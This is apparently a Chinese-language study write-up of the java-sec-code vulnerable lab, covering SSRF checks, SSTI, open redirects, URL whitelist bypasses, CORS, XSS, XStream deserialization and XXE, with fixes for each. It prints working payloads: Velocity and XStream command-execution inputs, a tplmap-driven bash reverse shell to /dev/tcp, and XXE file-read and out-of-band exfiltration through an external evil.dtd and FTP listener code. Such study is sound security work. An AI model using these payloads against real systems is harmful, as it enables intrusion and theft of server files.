@GetMapping("/urlConnection/sec") public String URLConnectionSec(String url) { // Decline not http/https protocol if (!SecurityUtil.isHttp(url)) { return "[-] SSRF check failed"; } try { SecurityUtil.startSSRFHook(); return HttpUtils.URLConnection(url); } catch (SSRFException | IOException e) { return e.getMessage(); } finally { SecurityUtil.stopSSRFHook(); } }
首先通过isHTTP()函数来看判断是否是http和https协议,之后调用钩子去调用SocketHookFactory,具体防护在SSRFChecker.java
package org.joychou.security.ssrf; import java.net.HttpURLConnection; import java.net.InetAddress; import java.net.URI; import java.net.URL; import java.util.ArrayList; import org.apache.commons.lang.StringUtils; import org.apache.commons.net.util.SubnetUtils; import org.joychou.config.WebConfig; import org.joychou.security.SecurityUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; public class SSRFChecker { private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); public static boolean checkURLFckSSRF(String url) { if (null == url) { return false; } ArrayList<String> ssrfSafeDomains = WebConfig.getSsrfSafeDomains(); try { String host = SecurityUtil.gethost(url); // 必须http/https if (!SecurityUtil.isHttp(url)) { return false; } if (ssrfSafeDomains.contains(host)) { return true; } for (String ssrfSafeDomain : ssrfSafeDomains) { if (host.endsWith("." + ssrfSafeDomain)) { return true; } } } catch (Exception e) { logger.error(e.toString()); return false; } return false; } /** * 解析url的ip,判断ip是否是内网ip,所以TTL设置为0的情况不适用。 * url只允许https或者http,并且设置默认连接超时时间。 * 该修复方案会主动请求重定向后的链接。 * * @param url check的url * @param checkTimes 设置重定向检测的最大次数,建议设置为10次 * @return 安全返回true,危险返回false */ public static boolean checkSSRF(String url, int checkTimes) { HttpURLConnection connection; int connectTime = 5 * 1000; // 设置连接超时时间5s int i = 1; String finalUrl = url; try { do { // 判断当前请求的URL是否是内网ip if (isInternalIpByUrl(finalUrl)) { logger.error("[-] SSRF check failed. Dangerous url: " + finalUrl); return false; // 内网ip直接return,非内网ip继续判断是否有重定向 } connection = (HttpURLConnection) new URL(finalUrl).openConnection(); connection.setInstanceFollowRedirects(false); connection.setUseCaches(false); // 设置为false,手动处理跳转,可以拿到每个跳转的URL connection.setConnectTimeout(connectTime); //connection.setRequestMethod("GET"); connection.connect(); // send dns request int responseCode = connection.getResponseCode(); // 发起网络请求 if (responseCode >= 300 && responseCode <= 307 && responseCode != 304 && responseCode != 306) { String redirectedUrl = connection.getHeaderField("Location"); if (null == redirectedUrl) break; finalUrl = redirectedUrl; i += 1; // 重定向次数加1 logger.info("redirected url: " + finalUrl); if (i == checkTimes) { return false; } } else break; } while (connection.getResponseCode() != HttpURLConnection.HTTP_OK); connection.disconnect(); } catch (Exception e) { return true; // 如果异常了,认为是安全的,防止是超时导致的异常而验证不成功。 } return true; // 默认返回true } /** * 判断一个URL的IP是否是内网IP * * @return 如果是内网IP,返回true;非内网IP,返回false。 */ public static boolean isInternalIpByUrl(String url) { String host = url2host(url); if (host.equals("")) { return true; // 异常URL当成内网IP等非法URL处理 } String ip = host2ip(host); if (ip.equals("")) { return true; // 如果域名转换为IP异常,则认为是非法URL } return isInternalIp(ip); } /** * 使用SubnetUtils库判断ip是否在内网网段 * * @param strIP ip字符串 * @return 如果是内网ip,返回true,否则返回false。 */ static boolean isInternalIp(String strIP) { if (StringUtils.isEmpty(strIP)) { logger.error("[-] SSRF check failed. IP is empty. " + strIP); return true; } ArrayList<String> blackSubnets = WebConfig.getSsrfBlockIps(); for (String subnet : blackSubnets) { SubnetUtils utils = new SubnetUtils(subnet); if (utils.getInfo().isInRange(strIP)) { logger.error("[-] SSRF check failed. Internal IP: " + strIP); return true; } } return false; } /** * host转换为IP * 会将各种进制的ip转为正常ip * 167772161转换为10.0.0.1 * 127.0.0.1.xip.io转换为127.0.0.1 * * @param host 域名host */ private static String host2ip(String host) { try { InetAddress IpAddress = InetAddress.getByName(host); // send dns request return IpAddress.getHostAddress(); } catch (Exception e) { return ""; } } /** * 从URL中获取host,限制为http/https协议。只支持http:// 和 https://,不支持//的http协议。 * * @param url http的url */ private static String url2host(String url) { try { // 使用URI,而非URL,防止被绕过。 URI u = new URI(url); if (SecurityUtil.isHttp(url)) { return u.getHost(); } return ""; } catch (Exception e) { return ""; } } }
15.SSTI ssti服务端模板注入,ssti主要为python的一些框架 jinja2、 mako tornado 、django,PHP框架smarty twig,java框架FreeMarker、jade、 velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
核心代码:
@GetMapping("/velocity") public void velocity(String template) { Velocity.init(); VelocityContext context = new VelocityContext(); context.put("author", "Elliot A."); context.put("address", "217 E Broadway"); context.put("phone", "555-1337"); StringWriter swOut = new StringWriter(); Velocity.evaluate(context, swOut, "test", template); }
访问URL:
http://192.168.137.16:8080/java_sec_code_war/ssti/velocity?template=%23set($e=%22e%22);$e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22open%20-a%20Calculator%22)
image-20211027143734728
也可以使用https://github.com/epinna/tplmap来验证
git clone https://github.com/epinna/tplmap python tplmap.py --os-shell -u 'http://localhost:8080/ssti/velocity?template=aa'
[+] Testing if GET parameter 'template' is injectable [+] Smarty plugin is testing rendering with tag '*' [+] Smarty plugin is testing blind injection [+] Mako plugin is testing rendering with tag '${*}' [+] Mako plugin is testing blind injection [+] Python plugin is testing rendering with tag 'str(*)' [+] Python plugin is testing blind injection [+] Tornado plugin is testing rendering with tag '{{*}}' [+] Tornado plugin is testing blind injection [+] Jinja2 plugin is testing rendering with tag '{{*}}' [+] Jinja2 plugin is testing blind injection [+] Twig plugin is testing rendering with tag '{{*}}' [+] Twig plugin is testing blind injection [+] Freemarker plugin is testing rendering with tag '*' [+] Freemarker plugin is testing blind injection [+] Velocity plugin is testing rendering with tag '*' [+] Velocity plugin is testing blind injection [+] Velocity plugin has confirmed blind injection [+] Tplmap identified the following injection point: GET parameter: template Engine: Velocity Injection: * Context: text OS: undetected Technique: blind Capabilities: Shell command execution: ok (blind) Bind and reverse shell: ok File write: ok (blind) File read: no Code evaluation: no [+] Blind injection has been found and command execution will not produce any output. [+] Delay is introduced appending '&& sleep <delay>' to the shell commands. True or False is returned whether it returns successfully or not. [+] Run commands on the operating system. (blind) $ id True (blind) $ whoami True (blind) $ bash -i >& /dev/tcp/reverse_ip/2333 0>&1
修复意见:
针对于不同的模板引擎,该漏洞的修复方法会有所不同,但如果在传递给模板指令之前,对用户输入进行安全过滤的话,则可以大大减少这类威胁。此外,另一种防御方法是使用沙箱环境,将危险的指令删除/禁用,或者对系统环境进行安全加固。
白头搔更短,SSTI惹人心 16.URLRedirect url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常见的跳转在登陆口,支付口,也就是一旦登陆将会跳转任意自己构造的网站,如果设置成自己的url则会造成钓鱼。
url跳转常见的地方
1. 登陆跳转我认为是最常见的跳转类型,认证完后会跳转,所以在登陆的时候建议多观察url参数 2. 用户分享、收藏内容过后,会跳转 3. 跨站点认证、授权后,会跳转 4. 站内点击其它网址链接时,会跳转 5. 在一些用户交互页面也会出现跳转,如请填写对客服评价,评价成功跳转主页,填写问卷,等等业务,注意观察url。 6. 业务完成后跳转这可以归结为一类跳转,比如修改密码,修改完成后跳转登陆页面,绑定银行卡,绑定成功后返回银行卡充值等页面,或者说给定一个链接办理VIP,但是你需要认证身份才能访问这个业务,这个时候通常会给定一个链接,认证之后跳转到刚刚要办理VIP的页面。
url跳转常用到的参数
redirect url redirectUrl callback return_url toUrl ReturnUrl fromUrl redUrl request redirect_to redirect_url jump jump_to target to goto link linkto domain oauth_callback
核心代码:
重定向跳转:
@GetMapping("/redirect") public String redirect(@RequestParam("url") String url) { return "redirect:" + url; }
301跳转:
@RequestMapping("/setHeader") @ResponseBody public static void setHeader(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect response.setHeader("Location", url); }
302跳转:
@RequestMapping("/sendRedirect") @ResponseBody public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); response.sendRedirect(url); // 302 redirect }
修复方式:
只能内部跳转
@RequestMapping("/forward") @ResponseBody public static void forward(HttpServletRequest request, HttpServletResponse response) { String url = request.getParameter("url"); RequestDispatcher rd = request.getRequestDispatcher(url); try { rd.forward(request, response); } catch (Exception e) { e.printStackTrace(); } }
通过checkURL去检查输入的参数
@RequestMapping("/sendRedirect/sec") @ResponseBody public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException { String url = request.getParameter("url"); if (SecurityUtil.checkURL(url) == null) { response.setStatus(HttpServletResponse.SC_FORBIDDEN); response.getWriter().write("url forbidden"); return; } response.sendRedirect(url); } }
跟进
/** * 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。 * 优先判断黑名单,如果满足黑名单return null。 * * @param url the url need to check * @return Safe url returns original url; Illegal url returns null; */ public static String checkURL(String url) { if (null == url){ return null; } ArrayList<String> safeDomains = WebConfig.getSafeDomains(); ArrayList<String> blockDomains = WebConfig.getBlockDomains(); try { String host = gethost(url); // 必须http/https if (!isHttp(url)) { return null; } // 如果满足黑名单返回null if (blockDomains.contains(host)){ return null; } for(String blockDomain: blockDomains) { if(host.endsWith("." + blockDomain)) { return null; } } // 支持多级域名 if (safeDomains.contains(host)){ return url; } // 支持一级域名 for(String safedomain: safeDomains) { if(host.endsWith("." + safedomain)) { return url; } } return null; } catch (NullPointerException e) { logger.error(e.toString()); return null; } }
检测相关url是否在自己配置中,若不在则返回NULL
17.URLWhiteList 1.前言 安全工程师:接口需要验证参数中的URL是否是内部域名。 开发工程师:好的,没问题。
如果不使用已经写好的安全框架,真正让开发去添加一个URL白名单,我相信不少人会出现不同程度的安全问题。
所以,我觉得有必要单独拿出来简单说下这个问题。
2.可造成的漏洞 和URL有关系的漏洞,我们可以联想到包括但不局限于下面的漏洞
CSRF JSONP SSRF URL跳转 绕过CORS(跨域资源分享) 3.Bypass Poc及实际案例 先来看一下应该如何安全验证:
先来看下应该如何安全验证:
但是,在实际的甲方安全中,很多开发者会犯以下的一些错误。
1.endsWith Bypass Poc:
案例: 飞猪做referer校验的时候,全站存在referer校验bypass问题,导致全站存在Json Hijack等漏洞,可以拿到飞猪的开房记录等信息。目前漏洞已经修复。
绕过的poc
Referer: https://www.joychoualitrip.com/mytrip/
针对JSONP,这里提一个比较有趣的问题。有的接口返回是JSON,非JSONP的格式,但是由于开发者写了一个callback参数(但是流量里并未出现)。所以在自动动扫描漏洞时,扫描器可加上callback、cback
等参数,可能会有意想不到的收获。
比如:http://www.alitrip.com/order?id=1
返回JSON格式,所以并不存在JSON劫持。但是访问http://www.alitrip.com/order?id=1&callback=xxx
可能就会返回JSONP格式,从而可能存在JSON劫持漏洞。
核心代码:
@GetMapping("/vuln/endsWith") public String endsWith(@RequestParam("url") String url) { String host = SecurityUtil.gethost(url); for (String domain : domainwhitelist) { if (host.endsWith(domain)) { return "Good url."; } } return "Bad url."; }
访问
http://localhost:8080/java_sec_code_war/url/vuln/endsWith?url=http://aaajoychou.org
image-20211027151121258
2.contains 取出一级域名。判断一级域名在白名单列表里使用contains判断
Bypass POC:
joychou.com.bypass.com bypassjoychou.com
核心代码:
@GetMapping("/vuln/contains") public String contains(@RequestParam("url") String url) { String host = SecurityUtil.gethost(url); for (String domain : domainwhitelist) { if (host.contains(domain)) { return "Good url."; } } return "Bad url."; }
访问
http://localhost:8080/java_sec_code_war/url/vuln/contains?url=http://joychou.org.bypass.com
image-20211027151454711
3.statsWith 取出一级域名,判断一级域名在白名单列表里使用startsWith
判断
Bypass Poc:
这种域名后缀虽然不存在,造成无法利用。但是在实际的测试中,确实发现某大公司是以这样的方式写的代码。所以说,如果没有规范,什么样的逻辑代码都能写出来。
4.正则表达式 用正则表达式去匹配URL中是否存在www.joychou.com
字符串 Bypass Poc:
www.joychou.com.bypass.com
还有的URL接口验证是否是图片链接,但是验证的方式居然是用正则匹配是否以类似.800*600.
结尾。
Bypass Poc:
www.joychou.com/_4528x2020.php
用正则判断host是否是域名
Bypass Poc:
案例: 腾讯某域名诊断功能存在SSRF(目前该漏洞已经修复)。 该功能验证逻辑,首先判断host是否是域名。
所以我们可以利用xip.io
进行Bypass。
核心代码:
@GetMapping("/vuln/regex") public String regex(@RequestParam("url") String url) { String host = SecurityUtil.gethost(url); Pattern p = Pattern.compile("joychouorg"); Matcher m = p.matcher(host); if (m.find()) { return "Good url."; } else { return "Bad url."; } }
访问:
image-20211027151840814
5.正则匹配URL是否以.joychou.com 正则为.*\\.joychou.com$
的情况,之前的这两种xxx.xxxjoychou.com
和xxx.joychou.com.xxx
都不能绕过了。
Bypass Poc:
www.baidu.com/?xxx.joychou.com
4.安全代码和测试环境 安全代码逻辑很简单:
方法调用:
String[] urlwhitelist = {"joychou.com" , "joychou.me" }; if (!UrlSecCheck(url, urlwhitelist)) { return ; }
方法代码:
需要先添加guava库(目的是获取一级域名)
<dependency > <groupId > com.google.guava</groupId > <artifactId > guava</artifactId > <version > 21.0</version > </dependency > public static Boolean UrlSecCheck(String url, String[] urlwhitelist) { try { URL u = new URL(url); // 只允许http和https的协议 if (!u.getProtocol().startsWith("http") && !u.getProtocol().startsWith("https")) { return false; } // 获取域名,并转为小写 String host = u.getHost().toLowerCase(); // 获取一级域名 String rootDomain = InternetDomainName.from(host).topPrivateDomain().toString(); for (String whiteurl: urlwhitelist){ if (rootDomain.equals(whiteurl)) { return true; } } return false; } catch (Exception e) { return false; } }
核心代码:
@GetMapping("/sec") public String sec(@RequestParam("url") String url) { String whiteDomainlists[] = {"joychou.org", "joychou.com", "test.joychou.me"}; if (!SecurityUtil.isHttp(url)) { return "SecurityUtil is not http or https"; } String host = SecurityUtil.gethost(url); for (String whiteHost: whiteDomainlists){ if (whiteHost.startsWith(".") && host.endsWith(whiteHost)) { return url; } else if (!whiteHost.startsWith(".") && host.equals(whiteHost)) { return url; } } return "Bad url."; } @GetMapping("/sec/array_indexOf") public String sec_array_indexOf(@RequestParam("url") String url) { // Define muti-level host whitelist. ArrayList<String> whiteDomainlists = new ArrayList<>(); whiteDomainlists.add("bbb.joychou.org"); whiteDomainlists.add("ccc.bbb.joychou.org"); if (!SecurityUtil.isHttp(url)) { return "SecurityUtil is not http or https"; } String host = SecurityUtil.gethost(url); if (whiteDomainlists.indexOf(host) != -1) { return "Good url."; } return "Bad url."; }
5.CORS绕过 先来看看Access-Control-Allow-Origin
的使用。一般有两种方式设置该值:
域名设置test.joychou.org
如下,表示该域名只接受来自http://blacktech.com
的请求。
add_header Access-Control-Allow-Origin 'http://blacktech.com';
本地写一份请求test.joychou.org
的代码,保存为1.html
<html> test <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script> <script> $.ajax({ type: 'GET', url: 'http://test.joychou.org', success: function (data) { alert(data); console.log('Yeah! Load Success.'); }, error: function (error) { alert('Oh,no! Load Failed.'); } }); </script> </html>
请求http://localhost/1.html
报错如下:
Failed to load http://test.joychou.org/: The 'Access-Control-Allow-Origin' header has a value 'http://blacktech.com' that is not equal to the supplied origin. Origin 'http://localhost' is therefore not allowed access.
改下/etc/hosts
,把 localhost 改成 blacktech.com,请求http://blacktech.com/1.html
就不会报错了,而且能获取到http://test.joychou.org 的返回内容It works.
我们来看看origin
,这个值和Referer一样,前端不能设置,如果http://baidu.com
对http://test.joychou.org
发起一个跨域请求,那么origin
的值就为http://baidu.com
。
那么问题来了,如果Access-Control-Allow-Origin
设置的域名能被绕过,那么用请求header里的origin
绕即可。绕过后,就能获取接口的数据,和JSONP一样。
18.XSS XSS作者提供了两种利用场景
核心代码:
@RequestMapping("/reflect") @ResponseBody public static String reflect(String xss) { return xss; }
访问:
http://localhost:8080/java_sec_code_war/xss/reflect?xss=%3Cscript%3Ealert(1)%3C/script%3E
image-20211027153333287
这里还展示一种将XSS语句带入cookie,然后在其他处调出造成XSS的可能性
@RequestMapping("/stored/store") @ResponseBody public String store(String xss, HttpServletResponse response) { Cookie cookie = new Cookie("xss", xss); response.addCookie(cookie); return "Set param into cookie"; } @RequestMapping("/stored/show") @ResponseBody public String show(@CookieValue("xss") String xss) { return xss; }
依次访问:
http://localhost:8080/java_sec_code_war/xss/stored/store?xss=%3Cscript%3Ealert(1)%3C/script%3E http://localhost:8080/java_sec_code_war/xss/stored/show
image-20211027153527388
修复代码:
@RequestMapping("/safe") @ResponseBody public static String safe(String xss) { return encode(xss); } private static String encode(String origin) { origin = StringUtils.replace(origin, "&", "&"); origin = StringUtils.replace(origin, "<", "<"); origin = StringUtils.replace(origin, ">", ">"); origin = StringUtils.replace(origin, "\"", """); origin = StringUtils.replace(origin, "'", "'"); origin = StringUtils.replace(origin, "/", "/"); return origin; }
将特殊字符进行转译
19.XStreamRCE XStream是一个简单的基于Java库,Java对象序列化到XML,反之亦然(即:可以轻易的将Java对象和xml文档相互转换)。
Xstream具有以下优点
使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。 性能 - XStream快速和低内存占用,适合于大对象图或系统。 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读。 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函数不是强制性的要求。 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。 另一种输出格式 - XStream支持其它的输出格式,如JSON。 核心代码:
@PostMapping("/xstream") public String parseXml(HttpServletRequest request) throws Exception { String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); xstream.fromXML(xml); return "xstream"; } public static void main(String[] args) { User user = new User(); user.setId(0); user.setUsername("admin"); XStream xstream = new XStream(new DomDriver()); String xml = xstream.toXML(user); // Serialize System.out.println(xml); user = (User) xstream.fromXML(xml); // Deserialize System.out.println(user.getId() + ": " + user.getUsername()); } }
构造请求包如下
POST /java_sec_code_war/xstream HTTP/1.1 Host: test.ol4three.com:8080 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: JSESSIONID=7BBEAB4E7FC8E7B10575631B0CA5413C; XSRF-TOKEN=820fd620-2c78-424b-a852-93ca40553975; remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A Connection: close Content-Type: application/xml Content-Length: 445 <sorted-set> <string>foo</string> <dynamic-proxy> <!-- --> <interface>java.lang.Comparable</interface> <handler class="java.beans.EventHandler"> <target class="java.lang.ProcessBuilder"> <command> <string>open</string> <string>/System/Applications/Calculator.app</string> </command> </target> <action>start</action> </handler> </dynamic-proxy> </sorted-set>
image-20211027154504421
CVE-2020-26217 | XStream远程代码执行漏洞 通过XStream对象反序列化的RCE Xstream 反序列化远程代码执行漏洞深入分析 20.XXE XXE(XML外部实体注入、XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。
核心代码:
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) public String DocumentBuilderVuln01(HttpServletRequest request) { try { String body = WebUtils.getRequestBody(request); logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); StringReader sr = new StringReader(body); InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml // 遍历xml节点name和value StringBuilder buf = new StringBuilder(); NodeList rootNodeList = document.getChildNodes(); for (int i = 0; i < rootNodeList.getLength(); i++) { Node rootNode = rootNodeList.item(i); NodeList child = rootNode.getChildNodes(); for (int j = 0; j < child.getLength(); j++) { Node node = child.item(j); buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } sr.close(); return buf.toString(); } catch (Exception e) { logger.error(e.toString()); return EXCEPT; } }
有回显的利用方式
输入对应的payload:
POST /java_sec_code_war/xxe/DocumentBuilder/vuln01 HTTP/1.1 Host: test.ol4three.com:8080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; XSRF-TOKEN=3693dcbc-f423-4c8b-af53-98bcbc639d8c; JSESSIONID=598DC30E191F87CCFD005A39436FD289; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A Connection: close Content-Type: application/xml Content-Length: 167 <?xml version="1.0" encoding="UTF-8"?> <book id="1"> <name>Good Job</name> <author>ol4three</author> <year>2021</year> <price>100.00</price> </book>
image-20211027163512520
利用file协议读取文件:
POST /java_sec_code_war/xxe/DocumentBuilder/vuln01 HTTP/1.1 Host: test.ol4three.com:8080 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7 Cookie: remember-me=YWRtaW46MTYzNjUwOTQzNjE4OTplZWMwOGQ2MmY1M2JiZDIxM2MzYjM4NGE2OThlY2I0Yg; XSRF-TOKEN=3693dcbc-f423-4c8b-af53-98bcbc639d8c; JSESSIONID=598DC30E191F87CCFD005A39436FD289; __gads=ID=f3f270f7ceb2e609-2233066a20c4001e:T=1602735684:RT=1602735684:S=ALNI_Mb8IpWdrljMYwyv7Bomgb0qFuZ73A Connection: close Content-Type: application/xml Content-Length: 131 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE joychou [ <!ENTITY xxe SYSTEM "file:///tmp/111.txt"> ]> <root>&xxe;</root>
image-20211027163556622
在 XML 元素中,”<” 和 “&” 是非法的。”<” 会产生错误,因为解析器会把该字符解释为新元素的开始。”&” 也会产生错误,因为解析器会把该字符解释为字符实体的开始。
image-20211027164028767
╰─$ cat 111.txt ol4three 1111 ~!@#%^%'"> 2222 <%&
image-20211027164104470
CDATA CDATA,意为character data,是标记语言SGML与XML,表示文档的特定部分是普通的字符数据,而不是非字符数据或有特定、限定结构的字符数据。在XML文档或外部实体中,一个CDATA section是一段按字面解释的内容,不作为标记文本。字符用CDATA节表示或者按照标准语法表示,并无差异。
CDATA 部分由"<![CDATA["
开始,由"]]>"
结束
简单一点的来说,将脚本代码定义为CDATA后,CDATA部分中的内容就会被解析器忽略,这个时候就可以读取文件了。
1.有回显 本地主机:CDATA Payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///tmp/1.txt"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://test.ol4three.com:800/evil.dtd"> %dtd;]> <roottag>&all;</roottag>
本地主机:evil.dtd
<?xml version="1.0" encoding="UTF-8"?> <!ENTITY all "%start;%goodies;%end;">
但我在测试用CDATA,并没有读取<&
成功
2.Bind 无回显 payloads:
没有ENTITY关键字,可以用来Bypass WAF
<?xml version="1.0"?> <!DOCTYPE foo SYSTEM "http://test.joychou.org/evil.dtd">
<?xml version="1.0"?> <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://test.joychou.org/evil.dtd">%remote;]> <root/>
evil.dtd代码:
<!ENTITY % payload SYSTEM "file:///etc/redhat-release"> <!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://fakeuser:fakepass@test.joychou.org:2121/%payload;'>"> %int; %trick;
或者将%payload;
放在ftp的username或者password处。如果ftp不跟用户名或者密码ftp://test.joychou.org:2121/%payload;
,利用FTP协议会接收到Java的版本。
New client connected < USER anonymous < PASS Java1.8.0_121@ < TYPE I < EPSV ALL < EPSV < EPRT |1|172.17.29.150|60731| < RETR test < xxe < ftp
FTP Server代码:
require 'socket' server = TCPServer.new 2121 loop do Thread.start(server.accept) do |client| puts "New client connected" data = "" client.puts("220 xxe-ftp-server") loop { req = client.gets() puts "< "+req if req.include? "USER" client.puts("331 password please - version check") else #puts "> 230 more data please!" client.puts("230 more data please!") end } end end
测试的结果(Centos):
Java版本 是否能读换行 被截断的字符 其他报错的字符(什么都不能读) 被替换成换行的字符 1.7.0_80 是 # ? % & ‘ / 1.8.0_121 是 # ? % & ‘ / 1.8.0_181 否 # ? % & ‘ /
可能还有其他的字符和其他的Java版本没有测试。不过我猜测,自从Java 1.8的某个版本起,就不能读取换行。至于是那个版本开始,就不具体测试了,大家知道这个特性就好 -)
也可以把FTP换成HTTP协议,更加直观
3.支持的Xinclude的XXE POC
<?xml version="1.0" ?> <root xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include href="file:///etc/passwd" parse="text"/> </root>
详情可以查看浅析xml之xinclude & xslt
各平台支持协议如下: 我们刚刚都只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议:
image-20211027165310121
JAVA常见的XXE漏洞写法和防御 Java-XXE-总结 Java_XXE_漏洞 0x03 参考 https://github-wiki-see.page/m/JoyChou93/java-sec-code/wiki/
https://shangzeng.club/2020/12/14/JavaSecCode%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#CRLF%E6%B3%A8%E5%85%A5